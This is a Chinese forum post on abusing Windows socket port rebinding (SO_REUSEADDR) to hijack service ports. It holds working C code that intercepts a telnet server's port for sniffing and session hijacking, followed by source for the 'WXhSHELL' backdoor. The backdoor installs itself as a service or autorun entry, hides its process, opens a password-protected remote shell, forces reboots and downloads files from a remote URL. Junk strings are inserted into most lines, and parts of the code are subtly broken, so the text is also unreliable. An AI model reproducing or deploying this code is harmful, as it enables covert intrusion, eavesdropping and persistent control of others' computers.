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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Qg9 N?e{z  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 2bfKD'!aH  
4?,N;Q  
  saddr.sin_family = AF_INET; +=^10D  
'cT R<LVo  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 3ePG=^K^  
L*1C2EL/q  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); PSNrY e  
 &jf:7y  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 X) xQKkL0  
Y:/z)"u,C  
  这意味着什么?意味着可以进行如下的攻击: 4r5?C;g  
zN {'@B  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 y}5H<ZcXA  
< ppg$;  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) >c?Z.of  
+EJIYvkFm  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 y'pAhdF  
kl_JJX6jPP  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  TB4|dj-%  
R-"A* /A 2  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 j}'spKxu  
Y dmYE $  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 <MI>>$seiJ  
EV z>#GC  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 3Qfj=; 4  
)&<BQIv9/  
  #include me#VCkr#  
  #include KZ pqbI Z  
  #include a8FC#kfq  
  #include    xf?*fm?m  
  DWORD WINAPI ClientThread(LPVOID lpParam);   dmW0SK   
  int main() )VID ;l;4  
  { ne4hR]:  
  WORD wVersionRequested; I8)x 0)Lx  
  DWORD ret; 9^<t0oY  
  WSADATA wsaData; NSUw7hnWvz  
  BOOL val; k/?5Fs!#  
  SOCKADDR_IN saddr; lphQZ{8  
  SOCKADDR_IN scaddr; a1_7plg  
  int err; \IbGNV`q  
  SOCKET s; g>A*kY  
  SOCKET sc; (2Z-NVU#  
  int caddsize; VlXUrJ9&  
  HANDLE mt; n:,At] ky  
  DWORD tid;   R~iJ5@[  
  wVersionRequested = MAKEWORD( 2, 2 ); (\>3FwFHW|  
  err = WSAStartup( wVersionRequested, &wsaData ); (V)nHF*<>  
  if ( err != 0 ) { Jc"xH~,  
  printf("error!WSAStartup failed!\n"); N2vSJ\u  
  return -1; iF?4G^  
  } h.E8G^}@  
  saddr.sin_family = AF_INET; /\V-1 7-  
   |T atRB3>  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 K2<"O qp_W  
7,ysixY  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 9^,MC&eb  
  saddr.sin_port = htons(23); V)72]p  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 'z8?_{$   
  { w xKlBx7  
  printf("error!socket failed!\n"); Stq&^S\x69  
  return -1; qR/~a  
  } J wL}|o6  
  val = TRUE; GSIRZJl  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 -/Pg[Lx7Pb  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) HKbyi~8N=  
  { m-4P*P$X  
  printf("error!setsockopt failed!\n"); 1%68Pnqk  
  return -1; ABw:SQ6=Q  
  } U}<5%"!;  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; E*'sk  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 kAA1+rG  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 d _ )5Ks}  
DJvmwFx  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) %wWJVq}jx  
  { :rd{y`59>&  
  ret=GetLastError(); D^8]+2r  
  printf("error!bind failed!\n"); ^<49NUB>  
  return -1; FD:3;nUY7  
  } GX?R# cf  
  listen(s,2); ZxLdh8v.  
  while(1) ]-h;gN  
  { /N .xh  
  caddsize = sizeof(scaddr); v1h\ 6r'  
  //接受连接请求 mQdF+b1o  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); r==d^  
  if(sc!=INVALID_SOCKET) IcRA[ g  
  { <ZO"0oz%  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Vea2 oQq  
  if(mt==NULL) f 1s3pr??  
  { U{/d dCf7  
  printf("Thread Creat Failed!\n"); Z" j #kaXA  
  break; p5`iq~e9  
  } [qbZp1s|(  
  } 4&%0%  
  CloseHandle(mt); '/8{Mx+  
  } C{( &Yy"  
  closesocket(s); n@|5PI"bx  
  WSACleanup(); 5My4a9  
  return 0; D$@5$./  
  }   qF'lh  
  DWORD WINAPI ClientThread(LPVOID lpParam) O*0%AjT6  
  { c\A 4-08  
  SOCKET ss = (SOCKET)lpParam; '. 5&Z  
  SOCKET sc;  +~xY}  
  unsigned char buf[4096]; 'u@,,FFz[K  
  SOCKADDR_IN saddr; K#Ia19au5  
  long num; yp}J+/PX}  
  DWORD val; Buc{dcL/  
  DWORD ret; JBqL0H  
  //如果是隐藏端口应用的话,可以在此处加一些判断 c12mT(+-  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   NxY B)`~  
  saddr.sin_family = AF_INET; %8Eu{3  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); r@")MOGc  
  saddr.sin_port = htons(23); (;\" K?  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) #+CH0Z  
  { sg YPR  
  printf("error!socket failed!\n"); gOiZ8K!  
  return -1; Uh[MB wK  
  } ` 1Ui  
  val = 100; |wbXu:  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Kk.a9uKI}  
  { 6g*?(Y][  
  ret = GetLastError(); <pA%|]  
  return -1; 6%yt"XmT  
  } E8X(AZ 2  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) D6+^Qmu"p  
  { 5@QJ+@j|  
  ret = GetLastError(); F*u"LTH  
  return -1; Fnqj^5  
  } z)tULnR8  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ;|qbz]t2(  
  { ~jz!jF~I  
  printf("error!socket connect failed!\n"); 5Z;iK(>IX  
  closesocket(sc); v']Tusmg  
  closesocket(ss);  4,g_$)  
  return -1; RE._Ov>  
  } z }3` 9  
  while(1) t@X{qm:%Z  
  { 8'WoG]E_  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 r:{;HM+  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 oYx4+xH/  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 / R-1s  
  num = recv(ss,buf,4096,0); z}BuR*WSY{  
  if(num>0) K<wg-JgA  
  send(sc,buf,num,0); &/m0N\n?  
  else if(num==0) t,NE`LC  
  break; tJe5`L  
  num = recv(sc,buf,4096,0); -HwqR Y s  
  if(num>0) y^0 mf|  
  send(ss,buf,num,0); gQQve{'  
  else if(num==0) xig4H7V  
  break; q$7w?(Lk  
  } V36u%zdX5n  
  closesocket(ss); [_T6  
  closesocket(sc); Ly46S  
  return 0 ; h 8<s(WR  
  } P*|qbY  
y3XR:d1cg  
}|UTwjquBD  
========================================================== u+lNcyp"MW  
@[LM8 @:  
下边附上一个代码,,WXhSHELL G^ShN45   
:3N6Ej  
========================================================== VwN=AFk Oj  
\h>6k  
#include "stdafx.h" 1y3)ogL  
n\GN}?4  
#include <stdio.h> %OJ"@6A  
#include <string.h> DX0#q #  
#include <windows.h> b.q/? Yx  
#include <winsock2.h> {K N7Y"AI  
#include <winsvc.h> q# 6|/R*  
#include <urlmon.h> t/lQSUip  
l&|Tb8_'  
#pragma comment (lib, "Ws2_32.lib") bg\9Lbjr  
#pragma comment (lib, "urlmon.lib") G#L6;  
63`5A3rii  
#define MAX_USER   100 // 最大客户端连接数 rF$ S  
#define BUF_SOCK   200 // sock buffer Aflf]G1  
#define KEY_BUFF   255 // 输入 buffer 7aS%;EU  
'2qbIYanh  
#define REBOOT     0   // 重启 [_`<<!u>-  
#define SHUTDOWN   1   // 关机 AvVPPEryal  
fBb:J+  
#define DEF_PORT   5000 // 监听端口 !k<k]^Z\  
vYybQ&E/  
#define REG_LEN     16   // 注册表键长度 FwE<_hq//  
#define SVC_LEN     80   // NT服务名长度 C%#w1k  
#/"Tb ^c9  
// 从dll定义API C>Q|"Vf2  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); %H[~V f?d  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); V~_6t{L  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Alv"D  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 8UzF*gS  
Xz?7x0)Z  
// wxhshell配置信息 !q~f;&rg  
struct WSCFG { fh*7VuAc  
  int ws_port;         // 监听端口 ZcHd.1fXh  
  char ws_passstr[REG_LEN]; // 口令 !<&To  
  int ws_autoins;       // 安装标记, 1=yes 0=no ov5g`uud  
  char ws_regname[REG_LEN]; // 注册表键名 )gx*;z@  
  char ws_svcname[REG_LEN]; // 服务名 t*`G@Nj  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Z,-J tl  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 UGxF}Q  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 %CZGV7JdA  
int ws_downexe;       // 下载执行标记, 1=yes 0=no IL,iu  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 33ZHrZ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Jt:)(&-t   
_VB;fH$  
}; 4j}.=u*X7  
@X2zIFm  
// default Wxhshell configuration ?AVnv(_  
struct WSCFG wscfg={DEF_PORT, bN&DotG  
    "xuhuanlingzhe", =)#<u9 qqL  
    1, Z6zLL   
    "Wxhshell", [x%8l,O #l  
    "Wxhshell", eNK6=D|  
            "WxhShell Service", y(*5qa<>  
    "Wrsky Windows CmdShell Service", {`Z= LLL  
    "Please Input Your Password: ", HqI[]T@  
  1, Y=i_2R2e2  
  "http://www.wrsky.com/wxhshell.exe", KGf@d*ZOMz  
  "Wxhshell.exe" k$.l^H u  
    }; {z9,CwJan?  
qYPgn _  
// 消息定义模块 -UWyBM3c@  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 7:zoF], s  
char *msg_ws_prompt="\n\r? for help\n\r#>"; &p+2Vz{  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; *'BI=* `  
char *msg_ws_ext="\n\rExit."; pJ x H  
char *msg_ws_end="\n\rQuit."; q&&uX-ez5W  
char *msg_ws_boot="\n\rReboot..."; ,g1~4,hqQ  
char *msg_ws_poff="\n\rShutdown..."; VVEJE$  
char *msg_ws_down="\n\rSave to "; QO>)ug+  
_7R6%^  
char *msg_ws_err="\n\rErr!"; S"fqE%  
char *msg_ws_ok="\n\rOK!"; R2qz>kyyB  
uF{l`|b'  
char ExeFile[MAX_PATH]; <vzU}JA\  
int nUser = 0; =I9hGj6  
HANDLE handles[MAX_USER]; XM3~]  
int OsIsNt; (SCZ.G(>  
BwYR"  
SERVICE_STATUS       serviceStatus; H? %I((+  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; bo??9 1B^7  
"HLh3L~  
// 函数声明 5>:p'zI  
int Install(void); Va4AE)[/*  
int Uninstall(void); -j^G4J  
int DownloadFile(char *sURL, SOCKET wsh); Oiw!d6"Ovq  
int Boot(int flag); V0bKtg1f?-  
void HideProc(void); !-7<x"avm  
int GetOsVer(void); >J,IxRGi  
int Wxhshell(SOCKET wsl); bv``PSb3  
void TalkWithClient(void *cs); A&d_! u>  
int CmdShell(SOCKET sock); #%]?e N  
int StartFromService(void); Pk8(2fAYk  
int StartWxhshell(LPSTR lpCmdLine); CX7eCo  
-5\.\L3y)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); {;38&Izwz  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); QvzE:]pyi  
sDwE,f0h  
// 数据结构和表定义 z-|d/#h  
SERVICE_TABLE_ENTRY DispatchTable[] = 2{G7ignv  
{ aw3rTT(  
{wscfg.ws_svcname, NTServiceMain}, R_IT${O  
{NULL, NULL} wh3Wuh?x  
}; h  m(  
BO 3z$c1yU  
// 自我安装 ^C8f(  
int Install(void) -}5dZ;  
{ 0 d2to5 (  
  char svExeFile[MAX_PATH]; "9RW<+  
  HKEY key; Zf?jnDA  
  strcpy(svExeFile,ExeFile); V'AZs;  
]Gl5Qf:+z  
// 如果是win9x系统,修改注册表设为自启动 R;w1& Z  
if(!OsIsNt) { o6X<FE#8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .Pa6HA !  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  rjHW  
  RegCloseKey(key); 8WwLKZ}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ab5i7@Ed  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); i;#AW($+a  
  RegCloseKey(key); E;r~8^9)  
  return 0; CasFj9,  
    } ,*wj~NE  
  } tY?evsVgz  
} 6}_J;g\|  
else { } ejc  
af/;Dr@  
// 如果是NT以上系统,安装为系统服务 )1&,khd/u  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); SU4~x0  
if (schSCManager!=0) AH ]L C6-  
{ 8 =3$U+  
  SC_HANDLE schService = CreateService -<5H8P-  
  ( =1j`VJU9  
  schSCManager, jE$]Z(Ab  
  wscfg.ws_svcname, -vS7%Fbr  
  wscfg.ws_svcdisp, 2J7JEv|  
  SERVICE_ALL_ACCESS, lW@i,1  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , zh4m`}p  
  SERVICE_AUTO_START, vFGVz  
  SERVICE_ERROR_NORMAL, ,) }-mu  
  svExeFile, =!2(7Nr  
  NULL, 84-7!< 6i  
  NULL, 7=4V1FS6i  
  NULL, j,g.Eo  
  NULL, c6HH%|  
  NULL jhE3@c@pT  
  ); B=2f-o  
  if (schService!=0) Q#I?nBin  
  { Y.o-e)zX  
  CloseServiceHandle(schService); gd;e-.  
  CloseServiceHandle(schSCManager); }x:nhy`  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); u=B,i#>s  
  strcat(svExeFile,wscfg.ws_svcname); _lG\_6oJ,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { .w~zW*M0  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ,:3Di (  
  RegCloseKey(key); v&u8Ks  
  return 0; -MeO|HWm  
    } 0Yc#fD  
  } JZ0u/x5  
  CloseServiceHandle(schSCManager); 9/50+2F  
} PF-"^2&_  
} Z65]|  
&M+fb4:_  
return 1; e@L7p,  
} CFx$r_!~  
 4K$d%  
// 自我卸载 w24@KaKFo  
int Uninstall(void) xr 4kBC t  
{ 31}kNc}n  
  HKEY key; iLG~_Ob:  
(yi{<$ U*  
if(!OsIsNt) { nYO4JlNP  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3+r8yiY  
  RegDeleteValue(key,wscfg.ws_regname); Uzd\#edxJ  
  RegCloseKey(key); MQGR-WV=5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { mkt%|Kb.  
  RegDeleteValue(key,wscfg.ws_regname); /bv4/P  
  RegCloseKey(key); {AqPQeNgz  
  return 0; "4qv yVOE  
  } 6}e"$Ee}9  
} FG5t\!dt<  
} )3~):+  
else { [?Q$b5j/M  
+0WI;M4i  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); s:#\U!>0`  
if (schSCManager!=0) /CN`U7:E  
{ [P746b_\e  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); )k|_ CW~  
  if (schService!=0) n6 a=(T  
  { 8_F5c@7  
  if(DeleteService(schService)!=0) { 69u"/7X  
  CloseServiceHandle(schService); &\GB_UA  
  CloseServiceHandle(schSCManager); \LpR7D  
  return 0; Kdwt^8Umh  
  } X Sw0t8  
  CloseServiceHandle(schService); 7{e*isV  
  } @s;qmBX4  
  CloseServiceHandle(schSCManager); Q'S"$^~{  
} k\a&4v  
} [Dq!t1  
k),.  
return 1; J-g<-!>RM  
} Ljjuf=]  
BSB;0OM  
// 从指定url下载文件 G\ht)7SGgf  
int DownloadFile(char *sURL, SOCKET wsh) ~1v5H]T{  
{ K=82fF(-  
  HRESULT hr; +1%7*2q,  
char seps[]= "/"; YCd[s[  
char *token; UL.x*@o  
char *file; 3R sbi  
char myURL[MAX_PATH]; h|j $Jy  
char myFILE[MAX_PATH]; 5u-jjUO  
0xYPK7a=L\  
strcpy(myURL,sURL); jRP9e  
  token=strtok(myURL,seps); -r5JP[0kP  
  while(token!=NULL) Xn 1V1sr  
  { <r'l5|er  
    file=token; ^xwnX=Np  
  token=strtok(NULL,seps); usR: -1{  
  } e1 j3X\ \  
u 6(O;  
GetCurrentDirectory(MAX_PATH,myFILE); yy%'9E ldc  
strcat(myFILE, "\\"); C.[abpc  
strcat(myFILE, file); @Js^=G2  
  send(wsh,myFILE,strlen(myFILE),0); af<R.  
send(wsh,"...",3,0); 2\p8U#""  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 9zKrFqhNo  
  if(hr==S_OK) r2]KP(T8|  
return 0;  ]%L?b-e  
else `i,l)X]  
return 1; *Jy'3o  
ZYy?JDAO  
} |aovZ/b4  
:Ej#qYi  
// 系统电源模块 W5^m[,GU'  
int Boot(int flag) w+NdEE4H9z  
{ MM*B.y~TxZ  
  HANDLE hToken; .A. VOf_  
  TOKEN_PRIVILEGES tkp; "[rChso  
Hq*\,`b&  
  if(OsIsNt) { uwcm%N;I"  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Gb\Nqx(  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 8AK=FX&@&  
    tkp.PrivilegeCount = 1; 0Y81B;/F  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; }9GD'N?4  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ST#MCh-00  
if(flag==REBOOT) { [%alnY  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) -<[MM2Y  
  return 0; j<-#a^jb  
}  TM1isZ  
else { M6 W {mek  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) \L"Vx9xT  
  return 0; +$-@8,F>  
} o& GS;{Rs  
  } G' 5p/:  
  else { gxIGL-1M  
if(flag==REBOOT) { N<|_tC+ct  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) G98P<cyD  
  return 0; wsnR$FhQ`  
} aeQvIob@  
else { h2SVDKj  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Y%FQ]Q=+  
  return 0; 78}QaE  
} ZPieL&uV`  
} 'edd6yTd  
RpAqnDX)  
return 1; rfgkw  
} l$PSID  
^]&uMkPN  
// win9x进程隐藏模块 )]/gu\90  
void HideProc(void) =z5'A|Wa=,  
{ pO* $ '8L  
D`?=]Ysz(  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); LyaFWx   
  if ( hKernel != NULL ) aL9 yNj}2  
  { /A8ua=Kn  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); (aAv7kB&  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); eD4qh4|u.  
    FreeLibrary(hKernel); G% |$3  
  } eDh]uKg  
IMKyFp]h-  
return; xpJ6M<O{8  
} Aj854 L(!  
JumZ>\'p(  
// 获取操作系统版本 </UUvMf"  
int GetOsVer(void) f4JmY1)@  
{ $)1i)/]9U  
  OSVERSIONINFO winfo; :2'y=t#  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); )U?Tmh  
  GetVersionEx(&winfo); tl 0_Sd  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) WF)(Q~op0U  
  return 1; =6XJr7Ay8u  
  else yqaLqZ$  
  return 0; lEcZ/  
} JnW G_|m)  
1S&GhJ<wJ  
// 客户端句柄模块 #H'j;=]:  
int Wxhshell(SOCKET wsl) 81gcM?  
{ O_zW/#  
  SOCKET wsh; LW={| 3}  
  struct sockaddr_in client; P=.yXirm?  
  DWORD myID; mv5=>Xc6  
+VJS/  
  while(nUser<MAX_USER) ! :[`>=!  
{ :bh#,]'  
  int nSize=sizeof(client); J**-q(>  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); FeW}tKH  
  if(wsh==INVALID_SOCKET) return 1; @%(Vi!Cv"R  
SdOa#U)  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); )\ `AD#  
if(handles[nUser]==0) +3a} ~pW  
  closesocket(wsh); j20/Q)=h  
else Lro[ |A  
  nUser++; |K|[>[?Z/  
  } $+ z 3  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); |WiE`&?xP  
hA6   
  return 0; iKJ-$x_5  
} kLsp0% 2  
1V\tKDM  
// 关闭 socket <G};`}$a  
void CloseIt(SOCKET wsh) U$*AV<{%   
{ Jy#c 6  
closesocket(wsh); dRdI('  
nUser--; bW]7$?acv  
ExitThread(0); ?QDHEC62  
} y*F !k{P  
wbIgZ]o!/;  
// 客户端请求句柄 N('=qp9  
void TalkWithClient(void *cs) [>2iz  
{ s6q6)RD"  
I_1(jaY  
  SOCKET wsh=(SOCKET)cs; xRX2u_f$<  
  char pwd[SVC_LEN]; Qm-I=Rh+  
  char cmd[KEY_BUFF]; jW,b"[  
char chr[1]; q,i&%  
int i,j; b< dwf[  
l}bAwJ?  
  while (nUser < MAX_USER) { YiO3.+H  
 i/vo  
if(wscfg.ws_passstr) { 2 c 2lK  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Fy; sVB  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,Y:ET1:  
  //ZeroMemory(pwd,KEY_BUFF); fY4I(~Q  
      i=0; ~ u)} /  
  while(i<SVC_LEN) { Qe[ejj1o:  
&RJ*DAmL  
  // 设置超时 Fb!Ew`;QT  
  fd_set FdRead; kB)u@`</mV  
  struct timeval TimeOut; R@X65o  
  FD_ZERO(&FdRead); V< Ib#rd'  
  FD_SET(wsh,&FdRead); *:5S*E&}V  
  TimeOut.tv_sec=8; K2XRKoG  
  TimeOut.tv_usec=0; :17Pc\:DS  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); L@5j? N?F  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); t)4><22of  
D-/q-=zd  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); vGCvJ*4!  
  pwd=chr[0]; 0P 5s'2w  
  if(chr[0]==0xd || chr[0]==0xa) {  )>=!</@  
  pwd=0; oimM)Yo  
  break; u ?-|sv*  
  } C`@gsF"<7  
  i++; 9\zasa  
    } O .ESI  
%eE0a4^".  
  // 如果是非法用户,关闭 socket tD~ n PbbB  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2 rFjYx8D!  
} ] 6X;&=H  
t/wo G9N  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); tEN8S]X  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0!Vza?9  
aw923wEi  
while(1) { kl~)<,/@  
UkTq0-N;2  
  ZeroMemory(cmd,KEY_BUFF); Ke;eI+P[  
z/I\hC9i  
      // 自动支持客户端 telnet标准   ,M.phRJ-`  
  j=0; }Q?a6(4  
  while(j<KEY_BUFF) { EKD?j  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ob&m&2s,  
  cmd[j]=chr[0]; KB"N',kG  
  if(chr[0]==0xa || chr[0]==0xd) { 9Q.@RO$%C  
  cmd[j]=0; )n&6= Li  
  break; M!/!*,~  
  } g5C$#<28  
  j++; 5|jsv)M+  
    } -U{CWn3G  
= yFOH~_  
  // 下载文件 }`$s"Iv@  
  if(strstr(cmd,"http://")) { _f1;Hhoa  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); '5m4kDs  
  if(DownloadFile(cmd,wsh)) FN w0x6,~R  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); z:ZXdB)L)  
  else r j.X"  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k\TP3*fD  
  } ^OOoo2  
  else { 3&!v"ms  
Eq?U$eE  
    switch(cmd[0]) { I/*^s  
  `h'7X(  
  // 帮助 ~>#?.f  
  case '?': { {pc  (b  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); a&Z,~Vp  
    break; ]6 HR  
  } p9E/#U8A_  
  // 安装 r;9 V7C  
  case 'i': { {4$aA*  
    if(Install()) DDq?4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %a?\y_a=b  
    else n) j0h-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I 6'!b/  
    break; p/qu4[Mm  
    } xi<yB0MoA  
  // 卸载 Yr*!T= z  
  case 'r': { S"t\LB*'Ls  
    if(Uninstall()) ~dC.,"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); iR!]&Oh  
    else c{IL"B6>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zm{`+boH<  
    break; =axuLP))  
    } t#VX#dJ  
  // 显示 wxhshell 所在路径 #N$\d4q9  
  case 'p': { gZ| !'  
    char svExeFile[MAX_PATH]; gq]@*C  
    strcpy(svExeFile,"\n\r"); l;r A}?,.^  
      strcat(svExeFile,ExeFile); ^?2zoS#iw  
        send(wsh,svExeFile,strlen(svExeFile),0); !' 0PM[  
    break; [C/{ru&E  
    } gt9(5p  
  // 重启 &Hyy .a  
  case 'b': { qj/Zk [  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); WH"'Ju5}  
    if(Boot(REBOOT)) lGt:.p{NG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); po(pi|  
    else { $NCR V:J  
    closesocket(wsh); 'd|!Hr<2  
    ExitThread(0); BaWU[*  
    } *8_Dn}u?Jx  
    break; 2+/r~LwbK  
    } dW2 2v!  
  // 关机 >& 4):  
  case 'd': { Eyz.^)r  
